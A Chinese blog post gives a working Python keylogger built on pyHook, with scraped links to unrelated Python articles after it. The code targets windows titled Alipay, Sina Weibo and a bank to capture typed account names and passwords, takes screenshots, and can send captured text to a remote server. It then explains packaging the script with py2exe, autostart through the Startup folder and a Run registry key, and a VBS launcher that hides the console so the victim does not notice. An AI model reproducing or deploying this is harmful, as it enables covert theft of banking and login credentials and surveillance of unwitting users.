2016-08-22 14:36 226人阅读 评论(0) 收藏 举报
 分类:
其他(33) 

本文以一段简单的监听鼠标、键盘事件的程序,实现获取用户的输入(比如登录某些网站的账号、密码)的功能。经测试,对于一台“裸奔”的电脑,完全能获取到用户输入的任何信息;但是如果安装了杀毒软件,就够呛了。具体实现方法如下:

一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下

code:

  1. # -*- coding: utf-8 -*- #
  2. import pythoncom
  3. import pyHook
  4. import time
  5. import socket
  6. from PIL import ImageGrab
  7. #
  8. #如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器
  9. #
  10. def send_msg_to_server(msg):
  11. host=""
  12. port=1234
  13. buf_size=1024
  14. addr=(host,port)
  15. if len(msg)>0:
  16. tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  17. tcp_client_sock.connect(addr)
  18. info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
  19. tcp_client_sock.sendall(info+msg)
  20. tcp_client_sock.close()
  21. #
  22. #也可以将获取到的信息保存到本地文件下
  23. #
  24. def write_msg_to_txt(msg):
  25. f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
  26. f.write(msg+'\r\n')
  27. f.close()
  28. def onMouseEvent(event):
  29. # 监听鼠标事件
  30. global MSG
  31. if len(MSG)!=0:
  32. #send_msg_to_server(MSG)
  33. write_msg_to_txt(MSG)
  34. MSG=''
  35. pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
  36. #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)
  37. pic = ImageGrab.grab()
  38. pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
  39. return True
  40. def onKeyboardEvent(event):
  41. #监听键盘事件
  42. global MSG
  43. title= event.WindowName.decode('GBK')
  44. #通过网站title,判断当前网站是否是“监听目标”
  45. if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1:
  46. #Ascii: 8-Backspace , 9-Tab ,13-Enter
  47. if (127 >= event.Ascii > 31) or (event.Ascii == 8):
  48. MSG += chr(event.Ascii)
  49. if (event.Ascii == 9) or (event.Ascii == 13):
  50. #send_msg_to_remote(MSG)
  51. write_msg_to_txt(MSG)
  52. MSG = ''
  53. #屏幕抓图实现
  54. pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
  55. pic = ImageGrab.grab()
  56. #保存成为以日期命名的图片
  57. pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
  58. return True
  59. if __name__ == "__main__":
  60. MSG = ''
  61. #创建hook句柄
  62. hm = pyHook.HookManager()
  63. #监控鼠标
  64. hm.SubscribeMouseLeftDown(onMouseEvent)
  65. hm.HookMouse()
  66. #监控键盘
  67. hm.KeyDown = onKeyboardEvent
  68. hm.HookKeyboard()
  69. #循环获取消息
  70. pythoncom.PumpMessages()
 
 

二、用py2exe将脚本打包:

新建一个py文件setup.py,内容如下:

 

  1. from distutils.core import setup
  2. import py2exe
  3. setup(console=["monitor.py"])
  4. #setup(windows=["monitor.py"])
 

命令行执行以下命令:

1
pythonsetup.pypy2exe

三、将该程序设置为开机自动启动:

步骤①:

将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下

步骤②:

修改注册表:命令行— regedit ,然后到以下路径下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

新建一个“字符串值”,然后编辑:设置exe文件所在路径
D:\workspace\mytest\pyhook\dist\monitor.exe

(以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)

步骤③:

新建一个 .vbs文件,内容如下:

1
2
setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。
然后参考法①、② 把该vbs设置成开机启动即可。

python hehe的更多相关文章

  1. python学习笔记(基础三:if else流程判断、while循环、for循环)

    if else流程判断 getpass在pycharm中无法使用,在命令行窗口中进入python环境可以使用. import getpassusername = input("usernam ...

  2. python学习2

    1.input()返回的是字符串, 如果想读入一个数字,应该用int()转化 2.循环的写法与C不同的地方就是,for while等写完之后在那一行后面要加上一个冒号,这是比较特殊的地方. 还有就是r ...

  3. python supervisor使用

    Supervisor 是基于 Python 的进程管理工具,只能运行在 Unix-Like 的系统上,也就是无法运行在 Windows 上.Supervisor 官方版目前只能运行在 Python 2 ...

  4. Python黑帽编程2.7 异常处理

    Python黑帽编程2.7 异常处理 异常是个很宽泛的概念,如果程序没有按预想的执行,都可以说是异常了.遇到一些特殊情况没处理会引发异常,比如读文件的时候文件不存在,网络连接超时.程序本身的错误也可以 ...

  5. Python进阶【第一篇】socket

    1.socket模块 要使用socket.socket()函数来创建套接字.其语法如下: socket.socket(socket_family,socket_type,protocol=0) soc ...

  6. Python Day4

    一.装饰器 装饰器类似于一种动态增加函数功能的方法,使用@语法,放在它要装饰的函数定义处(函数定义的上面),实现为已经存在的函数增加新的功能. def outer(func): def innter( ...

  7. Python之路-python(mysql介绍和安装、pymysql、ORM sqlachemy)

    本节内容 1.数据库介绍 2.mysql管理 3.mysql数据类型 4.常用mysql命令 创建数据库 外键 增删改查表 5.事务 6.索引 7.python 操作mysql 8.ORM sqlac ...

  8. python 学习笔记 redis操作

    Redis redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zset(sorte ...

  9. study notes for python

    some useful materials Python完全新手教程 http://www.cnblogs.com/taowen/articles/11239.aspx (from taowen, B ...

随机推荐

  1. 42使用NanoPiM1Plus在Android4.4.2下的录音测试

    42使用NanoPiM1Plus在Android4.4.2下的录音测试 大文实验室/大文哥壹捌陆捌零陆捌捌陆捌贰21504965 AT qq.com完成时间:2017/12/5 17:51版本:V1. ...

  2. git 分支处理

    git 创建常用(多)分支(如:Master 主分支.Develop 分.Feature 功能分支.Release 预发布分支.Hotfix(或者Fixbug) 分支)步骤1.mkdir 项目名    ...

  3. VC++函数只被调用一次

    如何保证某个函数只被调用一次   一个函数caller会在其内部调用另外一个函数callee,现在的情况是,caller可能会在多个地方被多次调用,而你希望callee只在第一次被调用时被调用一次.一 ...

  4. jstree -- 使用JSON 数据组装成树

    概述: 前面主要是html数据,这里主要是json数组 1.格式 jsTree需要一个具体格式JSON数据,在标准的语法没有那个字段是必须的-而是那些是你需要的.请记住你可以获取任何你请求的其他属性, ...

  5. ViewData丶ViewBag和TempData

    案例: public ActionResult Index() { ViewData[; ViewData.Add(); ViewBag.myNum = ; TempData[; Student st ...

  6. 初遇Java

    什么是JVM?JVM是java虚拟机(JVM Java Virtual Machine),java程序需要运行在虚拟机上,不同平台有自己的虚拟机,因此java语言可以跨平台. 什么是JRE?包括Jav ...

  7. HTTP服务和APACHE2

    HTTP服务和APACHE2 知识点 请求报文响应报文 错误码 请求重定向 编译安装 实现https curl工具 1. http协议 http协议版本 http/0.9, http/1.0, htt ...

  8. Tclientdate的排序

    CDS_common.IndexDefs.Clear;        CDS_common.AddIndex('JSPH','JSPH',[],'JSPH');        CDS_common.A ...

  9. session 与 cookie 区别-----https://segmentfault.com/a/1190000013447750?utm_source=tag-newest

    cookie数据存放在客户的浏览器上,session数据放在服务器上. cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗考虑到安全应当使用session. sessi ...

  10. ZOJ 3684 Destroy

    Destroy Time Limit: 2000ms Memory Limit: 65536KB This problem will be judged on ZJU. Original ID: 36 ...